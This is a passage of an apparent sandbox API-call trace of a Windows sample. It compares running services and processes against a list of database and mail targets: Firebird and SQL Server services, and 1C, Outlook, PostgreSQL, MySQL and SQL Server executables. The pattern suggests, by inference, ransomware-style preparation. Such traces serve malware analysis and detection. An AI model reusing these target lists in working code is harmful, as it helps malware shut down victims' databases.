1 [0196.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0196.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0196.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0196.635] lstrlenW (lpString="Dnscache") returned 8 [0196.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0196.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0196.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0196.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0196.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0196.635] lstrlenW (lpString="DPS") returned 3 [0196.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0196.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0196.635] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0196.635] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0196.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0196.635] lstrlenW (lpString="eventlog") returned 8 [0196.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0196.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0196.636] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0196.636] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0196.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0196.636] lstrlenW (lpString="EventSystem") returned 11 [0196.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0196.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0196.636] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0196.636] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0196.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0196.636] lstrlenW (lpString="gpsvc") returned 5 [0196.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0196.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0196.636] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0196.636] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0196.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0196.636] lstrlenW (lpString="iphlpsvc") returned 8 [0196.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0196.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0196.636] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0196.636] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0196.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0196.636] lstrlenW (lpString="LanmanServer") returned 12 [0196.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0196.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0196.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0196.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0196.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0196.636] lstrlenW (lpString="LanmanWorkstation") returned 17 [0196.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0196.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0196.637] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0196.637] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0196.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0196.637] lstrlenW (lpString="lmhosts") returned 7 [0196.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0196.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0196.637] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0196.637] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0196.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0196.637] lstrlenW (lpString="MMCSS") returned 5 [0196.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0196.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0196.637] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0196.637] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0196.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0196.637] lstrlenW (lpString="MpsSvc") returned 6 [0196.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0196.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0196.637] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0196.637] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0196.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0196.637] lstrlenW (lpString="Netman") returned 6 [0196.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0196.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0196.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0196.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0196.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0196.637] lstrlenW (lpString="netprofm") returned 8 [0196.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0196.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0196.638] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0196.638] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0196.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0196.638] lstrlenW (lpString="NlaSvc") returned 6 [0196.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0196.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0196.638] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0196.638] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0196.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0196.638] lstrlenW (lpString="nsi") returned 3 [0196.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0196.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0196.638] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0196.638] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0196.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0196.638] lstrlenW (lpString="PcaSvc") returned 6 [0196.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0196.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0196.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0196.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0196.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0196.638] lstrlenW (lpString="PlugPlay") returned 8 [0196.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0196.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0196.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0196.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0196.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0196.638] lstrlenW (lpString="Power") returned 5 [0196.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0196.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0196.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0196.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0196.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0196.639] lstrlenW (lpString="ProfSvc") returned 7 [0196.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0196.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0196.639] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0196.639] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0196.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0196.639] lstrlenW (lpString="RpcEptMapper") returned 12 [0196.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0196.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0196.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0196.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0196.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0196.639] lstrlenW (lpString="RpcSs") returned 5 [0196.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0196.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0196.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0196.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0196.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0196.639] lstrlenW (lpString="SamSs") returned 5 [0196.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0196.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0196.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0196.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0196.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0196.639] lstrlenW (lpString="Schedule") returned 8 [0196.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0196.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0196.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0196.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0196.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0196.640] lstrlenW (lpString="SENS") returned 4 [0196.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0196.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0196.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0196.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0196.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0196.640] lstrlenW (lpString="ShellHWDetection") returned 16 [0196.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0196.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0196.640] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0196.640] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0196.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0196.640] lstrlenW (lpString="Spooler") returned 7 [0196.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0196.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0196.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0196.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0196.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0196.640] lstrlenW (lpString="swprv") returned 5 [0196.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0196.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0196.640] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0196.640] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0196.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0196.640] lstrlenW (lpString="SysMain") returned 7 [0196.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0196.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0196.641] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0196.641] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0196.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0196.641] lstrlenW (lpString="Themes") returned 6 [0196.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0196.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0196.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0196.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0196.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0196.641] lstrlenW (lpString="TrkWks") returned 6 [0196.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0196.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0196.641] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0196.641] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0196.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0196.641] lstrlenW (lpString="UxSms") returned 5 [0196.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0196.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0196.641] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0196.641] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0196.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0196.641] lstrlenW (lpString="VSS") returned 3 [0196.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0196.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0196.641] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0196.641] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0196.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0196.641] lstrlenW (lpString="WdiServiceHost") returned 14 [0196.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0196.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0196.641] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0196.642] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0196.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0196.642] lstrlenW (lpString="WdiSystemHost") returned 13 [0196.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0196.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0196.642] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0196.642] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0196.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0196.642] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0196.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0196.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0196.642] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0196.642] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0196.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0196.642] lstrlenW (lpString="Winmgmt") returned 7 [0196.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0196.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0196.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0196.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0196.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0196.642] lstrlenW (lpString="WPDBusEnum") returned 10 [0196.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0196.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0196.642] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0196.642] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0196.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0196.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0196.642] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0196.655] Process32FirstW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.656] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0196.656] lstrlenW (lpString="System") returned 6 [0196.656] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0196.656] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0196.656] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0196.656] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0196.656] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0196.656] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0196.656] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0196.656] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0196.657] lstrlenW (lpString="smss.exe") returned 8 [0196.657] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0196.657] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0196.657] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0196.657] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0196.657] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0196.657] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0196.657] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0196.657] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0196.657] lstrlenW (lpString="csrss.exe") returned 9 [0196.657] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0196.657] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0196.657] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0196.657] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0196.657] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0196.657] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0196.657] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0196.657] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0196.658] lstrlenW (lpString="wininit.exe") returned 11 [0196.658] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0196.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0196.658] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0196.658] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0196.658] lstrlenW (lpString="csrss.exe") returned 9 [0196.659] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0196.659] lstrlenW (lpString="winlogon.exe") returned 12 [0196.659] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0196.659] lstrlenW (lpString="services.exe") returned 12 [0196.660] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0196.660] lstrlenW (lpString="lsass.exe") returned 9 [0196.660] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0196.660] lstrlenW (lpString="lsm.exe") returned 7 [0196.660] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.661] lstrlenW (lpString="svchost.exe") returned 11 [0196.661] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.661] lstrlenW (lpString="svchost.exe") returned 11 [0196.661] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.661] lstrlenW (lpString="svchost.exe") returned 11 [0196.661] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.662] lstrlenW (lpString="svchost.exe") returned 11 [0196.662] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.662] lstrlenW (lpString="svchost.exe") returned 11 [0196.662] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0196.663] lstrlenW (lpString="audiodg.exe") returned 11 [0196.663] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.663] lstrlenW (lpString="svchost.exe") returned 11 [0196.663] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0196.663] lstrlenW (lpString="explorer.exe") returned 12 [0196.663] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, 